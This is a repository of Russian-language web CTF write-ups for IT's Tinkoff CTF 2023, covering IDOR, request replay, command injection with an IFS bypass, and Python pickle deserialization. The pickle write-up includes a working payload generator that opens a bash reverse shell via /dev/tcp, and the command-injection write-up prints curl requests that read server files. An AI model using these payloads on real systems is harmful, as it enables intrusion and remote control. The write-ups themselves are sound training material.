├── artifacts
├── map.png
├── flag.png
└── WRITEUP.md
├── catcher
├── burp.png
├── rce.png
└── WRITEUP.md
├── planetdb
├── url.png
├── lfi_error.png
└── WRITEUP.md
├── cosmoflot
├── sqli.png
├── offset_1.png
├── offset_2.png
├── ticket.png
├── ticket_registration.png
└── WRITEUP.md
├── acupuncture
├── flag.png
└── WRITEUP.md
├── tinderella
├── premium.png
├── source.png
└── WRITEUP.md
├── ucucuga
├── response.png
├── base64_encode_to_url.png
└── WRITEUP.md
├── galacticmarketplace
├── burp.png
├── flag.png
├── site.png
├── intruder.png
├── repeater.png
└── WRITEUP.md
├── README.md
└── broken
└── WRITEUP.md
/artifacts/map.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/artifacts/map.png
--------------------------------------------------------------------------------
/catcher/burp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/catcher/burp.png
--------------------------------------------------------------------------------
/catcher/rce.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/catcher/rce.png
--------------------------------------------------------------------------------
/planetdb/url.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/planetdb/url.png
--------------------------------------------------------------------------------
/artifacts/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/artifacts/flag.png
--------------------------------------------------------------------------------
/cosmoflot/sqli.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/sqli.png
--------------------------------------------------------------------------------
/acupuncture/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/acupuncture/flag.png
--------------------------------------------------------------------------------
/cosmoflot/offset_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/offset_1.png
--------------------------------------------------------------------------------
/cosmoflot/offset_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/offset_2.png
--------------------------------------------------------------------------------
/cosmoflot/ticket.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/ticket.png
--------------------------------------------------------------------------------
/planetdb/lfi_error.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/planetdb/lfi_error.png
--------------------------------------------------------------------------------
/tinderella/premium.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/tinderella/premium.png
--------------------------------------------------------------------------------
/tinderella/source.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/tinderella/source.png
--------------------------------------------------------------------------------
/ucucuga/response.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/ucucuga/response.png
--------------------------------------------------------------------------------
/galacticmarketplace/burp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/burp.png
--------------------------------------------------------------------------------
/galacticmarketplace/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/flag.png
--------------------------------------------------------------------------------
/galacticmarketplace/site.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/site.png
--------------------------------------------------------------------------------
/galacticmarketplace/intruder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/intruder.png
--------------------------------------------------------------------------------
/galacticmarketplace/repeater.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/repeater.png
--------------------------------------------------------------------------------
/ucucuga/base64_encode_to_url.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/ucucuga/base64_encode_to_url.png
--------------------------------------------------------------------------------
/cosmoflot/ticket_registration.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/ticket_registration.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # IT's Tinkoff CTF web writeups
2 |
3 | - [Зов аномалий](artifacts/WRITEUP.md)
4 | - [Принцесса в другом замке](tinderella/WRITEUP.md)
5 | - [Планетарная важность](broken/WRITEUP.md)
6 | - [Мегастог](acupuncture/WRITEUP.md)
7 | - [Кефтеме](galacticmarketplace/WRITEUP.md)
8 | - [Пепелац девелопмент](cosmoflot/WRITEUP.md)
9 | - [Охотники за ловушками](catcher/WRITEUP.md)
10 | - [Тайна четвертой планеты](planetdb/WRITEUP.md)
11 | - [Шифрователь ДНК](ucucuga/WRITEUP.md)
12 |
--------------------------------------------------------------------------------
/tinderella/WRITEUP.md:
--------------------------------------------------------------------------------
1 | # Принцесса в другом замке
2 |
3 | После того как выбрали нашу принцессу и досвайпали до конца, пробуем купить информацию об ее метсоположении, но получаем:
4 |
5 | 
6 |
7 | Во вкладке браузера *Network* ничего не происходит, поэтому начнем анализ кода React'а. Чуть упростим его с помощью [de4js](https://lelinhtinh.github.io/de4js/) и выполним ключевой поиск по тому самому сообщению:
8 |
9 | 
10 |
11 | Чуть ниже видим обращение к API. Вызовем его с идентификатором нашей принцессы:
12 |
13 |
14 | ```bash
15 | $ curl https://its-tinderella-wyfklpp1.spbctf.ru/api/princess-sputnik?id=2
16 | {"geolocation":"its{Its_a_mE_MarIO_FOUnd_a_vulN_4ND_FoUnD_My_loV3}","success":true}
17 | ```
--------------------------------------------------------------------------------
/galacticmarketplace/WRITEUP.md:
--------------------------------------------------------------------------------
1 | # Кефтеме
2 |
3 | Потыкаем сайт и посмотрим, что происходит в Burp'е.
4 | Для активации промокода на кэшбэк (о котором сказано в условии), на сервер отправляется запрос:
5 |
6 |
7 |
8 | Фронтенд не позволяет нам активировать промокод еще раз, но мы попробуем сделать это в Repeater'е Burp'а:
9 |
10 |
11 |
12 | Как не странно, но это работает. Повторим этот запрос еще много раз, чтобы *cashback* стал больше 100 и мы ушли в плюс после покупки:
13 |
14 |
15 |
16 |
17 |
18 | Теперь можно купить товары подороже. Повторим действия выше...
19 | После нескольких итераций мы смогли накопить нужную сумму для покупки "Подкрадулей флажных":
20 |
21 | 
22 |
--------------------------------------------------------------------------------
/broken/WRITEUP.md:
--------------------------------------------------------------------------------
1 | # Планетарная важность
2 |
3 | В этом задании нам предстоит перезагрузить сайт. Просмотрев исходный HTML главной страницы, наше внимание сразу привлекает данный фрагмент JS кода:
4 |
5 | ```js
6 | $('#statusButton').click(function () {
7 | $.get('/execute?cmd=get-status', function (data) {
8 | $('.result').text(data);
9 | $('.modal').show();
10 | });
11 | });
12 | ```
13 |
14 | Исходя из названий, складывается впечатление, что при нажатии на кнопку, на сервер отправляется команда для выполнения, а затем возвращается результат. Давайте проверим:
15 |
16 | ```bash
17 | $ curl https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=pwd
18 | /home/app
19 | ```
20 |
21 | Ура так, и есть! Теперь надо осмотреться:
22 |
23 | ```bash
24 | $ curl https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=ls
25 | README.md
26 | main.py
27 | requirements.txt
28 | templates
29 | ```
30 |
31 | И получим исходники:
32 |
33 | ```bash
34 | $ curl -G https://its-broken-jncn4dyj.spbctf.ru/execute --data-urlencode 'cmd=cat main.py'
35 | /bin/sh: 1: cat+main.py: not found
36 | ```
37 |
38 | Не беда, обойдем с помощью переменной IFS (Internal Field Separator):
39 |
40 | ```bash
41 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=cat$IFS"main.py"'
42 | import subprocess
43 | from urllib.parse import urlparse
44 |
45 | from flask import Flask, request, render_template, abort, redirect, url_for
46 |
47 | app = Flask(__name__)
48 | ...
49 |
50 | ```
51 |
52 | Ничего интересного, а вот в **README.md** содержит инструкцию к перезагрузке:
53 |
54 | Для перезагрузки приложения выполните
55 |
56 | ```bash
57 | curl http://management:5000/restart/
58 | ```
59 |
60 | ```bash
61 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=curl$IFS"http://management:5000/restart/">/tmp/h;'
62 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=cat$IFS/tmp/h;'
63 | Success! Go to /060648ac9456adba9740f7b2b119abf2bcf194c2/ to get flag
64 |
65 | $ curl https://its-broken-jncn4dyj.spbctf.ru/060648ac9456adba9740f7b2b119abf2bcf194c2/ | grep its
66 |
its{yoU_54VED_hUMaNi7Y_fRoM_A_MEt3or173_FAll_w17h_RcE}
67 | ``` 68 | -------------------------------------------------------------------------------- /ucucuga/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Шифрователь ДНК 2 | 3 | Проанализировав исходный код, видим самописную сериализацию для Python: 4 | 5 | ```php 6 | $router->post('/', function (\Illuminate\Http\Request $request) { 7 | function pickle_dumps($array) { 8 | $pickle = ""; 9 | foreach ($array as $str) { 10 | $pickle .= "\x8C" . chr(strlen($str)) . $str . "\x94"; 11 | } 12 | $pickle = "\x5D\x94\x28" . $pickle . "\x65"; 13 | $pickle = "\x80\x04\x95" . pack("Q", strlen($pickle)) . $pickle . "\x2E"; 14 | return $pickle; 15 | } 16 | $conversion_type = $request->input('conversion_type'); 17 | $array = $request->input('data'); 18 | var_dump($array); 19 | $pickle = pickle_dumps($array); 20 | ``` 21 | 22 | Если данные тщательно не валидируются (а еще хуже берутся прямо у пользователя) возникает большая проблема. Десериализация специально сконструированного пэйлоада в питоне может привести к [исполнению произвольного кода](https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit). 23 | 24 | Наш случай несколько сложнее, ведь код выше сериализует массив в питоновский список строк, поэтому нужно передать такую строку, чтобы на выходе получить валидные данные, которые сможет скушать *pickle*. 25 | 26 | Заметим одну важную деталь - `chr` возвращает символ из последнего байта числа, т.е. если передать ему 0x101, он вернет \x01. Теперь можно подготовить payload: 27 | 28 | ```python 29 | from pickle import dumps 30 | from base64 import b64encode 31 | 32 | class evil(object): 33 | def __reduce__(self): 34 | import os 35 | return (os.system, (cmd,)) 36 | 37 | cmd = 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' 38 | 39 | payload = dumps(evil()) + b'\x8c\x01a' 40 | n = 0x101 - len(payload) - 4 41 | payload = b'a\x94\x8c' + bytes([n]) + b'a' * n + payload 42 | 43 | print(b64encode(payload)) 44 | ``` 45 | 46 | Таким образом длина payload'а = 0x101 47 | 48 | - закрытие строки длиной 1 + 49 | - padding строка (которая увеличивает длину payload'а) + 50 | - RCE объект + 51 | - открытие строки длиной 1 52 | 53 | Зашлем наш payload на сервер и получим флаг: 54 | 55 |  56 | 57 |  58 | -------------------------------------------------------------------------------- /acupuncture/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Мегастог 2 | 3 | Из условия следует, что на сайте есть клиент, подтверждающий записи к врачу (активирующий аккаунты пациентов). Возможно нам это пригодится... 4 | 5 | Код, представленный в исходниках, хранится на [GitHub](https://github.com/sumitkumar1503/hospitalmanagement/) (о чем нам говорит README.md). Давайте настроим и запустим его: 6 | 7 | ```bash 8 | $ python3 manage.py makemigrations 9 | Migrations for 'hospital': 10 | hospital/migrations/0019_auto_20230716_1432.py 11 | - Alter field address on patientdischargedetails 12 | ``` 13 | 14 | Интересно, все нужные миграции были сгенерированны заранее и лежат в *hospital/migrations*. Давайте посмотрим, что является её причиной: 15 | 16 | ```python 17 | # Generated by Django 3.0.5 on 2023-07-16 14:32 18 | 19 | from django.db import migrations, models 20 | 21 | 22 | class Migration(migrations.Migration): 23 | 24 | dependencies = [ 25 | ('hospital', '0018_auto_20201015_2036'), 26 | ] 27 | 28 | operations = [ 29 | migrations.AlterField( 30 | model_name='patientdischargedetails', 31 | name='address', 32 | field=models.CharField(max_length=200), 33 | ), 34 | ] 35 | ``` 36 | 37 | Добавлено новое поле - **address**. В последней версии проекта на GitHub этого поля нет. Найдем все строки кода, где оно используется: 38 | 39 | ```bash 40 | $ grep -rn 'address' hospital 41 | ... 42 | 43 | $ grep -rn 'address' hospitalmanagement 44 | ... 45 | 46 | $ grep -rn 'address' templates 47 | ... 48 | templates/hospital/admin_approve_patient.html:50:
6 |
7 | Просмотрев все аномалии так и не находим флаг, скорее всего, на карте представлены не все аномалии.
8 | Переберем всевозможные ID с помощью wfuzz, и выясним, так ли это на самом деле
9 |
10 | ```bash
11 | $ wfuzz -z range,1-300 --hc 404 https://its-artifacts-jk2dm72.spbctf.ru/?attachment_id=FUZZ
12 |
13 | ********************************************************
14 | * Wfuzz 3.1.0 - The Web Fuzzer *
15 | ********************************************************
16 |
17 | Target: https://its-artifacts-jk2dm72.spbctf.ru/?attachment_id=FUZZ
18 | Total requests: 300
19 |
20 | =====================================================================
21 | ID Response Lines Word Chars Payload
22 | =====================================================================
23 |
24 | 000000026: 200 187 L 1829 W 43168 Ch "26"
25 | 000000020: 200 187 L 1825 W 42975 Ch "20"
26 | 000000064: 200 187 L 1815 W 42615 Ch "64"
27 | 000000091: 200 187 L 1827 W 43024 Ch "91"
28 | 000000113: 200 186 L 1815 W 42782 Ch "113"
29 | 000000115: 200 186 L 1815 W 42779 Ch "115"
30 | 000000112: 200 186 L 1815 W 42764 Ch "112"
31 | 000000114: 200 186 L 1815 W 42776 Ch "114"
32 | 000000111: 200 186 L 1815 W 42764 Ch "111"
33 | 000000118: 200 186 L 1815 W 42776 Ch "118"
34 | 000000116: 200 186 L 1815 W 42764 Ch "116"
35 | 000000117: 200 186 L 1815 W 42779 Ch "117"
36 | 000000120: 200 186 L 1815 W 42770 Ch "120"
37 | 000000119: 200 186 L 1815 W 42767 Ch "119"
38 | 000000191: 200 186 L 1812 W 42633 Ch "191"
39 | ```
40 |
41 | Так и есть, под аномалией с ID=191 скрывается флаг
42 |
43 | 
44 |
--------------------------------------------------------------------------------